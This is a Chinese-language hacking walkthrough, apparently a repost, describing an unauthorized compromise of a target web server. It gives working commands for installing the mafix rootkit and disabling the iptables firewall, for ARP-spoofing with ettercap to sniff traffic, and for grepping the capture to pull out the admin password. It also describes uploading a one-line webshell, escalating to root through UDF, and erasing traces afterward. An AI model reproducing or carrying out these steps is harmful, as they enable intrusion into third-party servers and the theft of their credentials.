Linux下嗅探密码拿下服务器(转自MSX)

目标：www.xxx.com

0x01 主站踩点

下载 (57.45 KB)

前天 14:28

主站dedecms 目前公布的0day没有一个能用的，并且后台不是默认的，google hack无果。

0x02 旁站分析

旁站有二十多个，大部分是现场的cms的二次开发，没有漏洞，还有一个bbs dz，同样也没有漏洞

0x03 C段Linux主机突破

查询C段浏览网站发现一个 ssss.com/login.action ，熟悉吧 struct2代码执行不解释   

下载 (11.43 KB)

前天 14:28

0x04 Linux主机栽Rookit

这里我用的Rookit是mafix

执行命令：

tar zxvf mafix.tar.gz

chmod +x root

./root password 23141

Putty登录

注意如果防火墙开着的话，不愿意在防火墙里添加规则的话可以关掉防火墙

停止防火墙

/etc/init.d/iptables stop

下载 (10.58 KB)

前天 14:28

版本

0x05  Linux主机安装ettercap 嗅探密码

1、下载与安装EPEL的RPM包。

rpm -ivh http://dl.fedoraproject.org/pub/epel/5/i386/epel-release-5-4.noarch.rpm

2、 yum -y install ettercap

开始嗅探

开启转发（可能不需要）

echo 1 > /proc/sys/net/ipv4/ip_forward

嗅探

ettercap –T –M arp /目标ip/80 /网关/ -w /tmp/log.txt

嗅探时间可能会挺长可以后台运行

nohup ettercap –T –M arp /目标ip/80 /网关/-w /tmp/log.txt

0x06 数据筛选

由于这个网站的数据特别大，一小时的数据有1g多，好吧，grep筛选出

抓包分析出目标站前台提交的密码的字段 pwd

cat /tmp/log.txt | grep –a “&pwd=” | more

好吧，每隔几小时我就看一次，过了半天，嗅到后台密码了，同时也嗅到后台地址了

www.xxx.com/xxx/login.php]http://www.xxx.com/xxx/login.php]www.xxx.com/xxx/login.php

0x07 上传一句话 root提权

上传一句话，翻文件，找到了Root，结合我的udf api 添加用户提权成功。

0x08 擦屁股。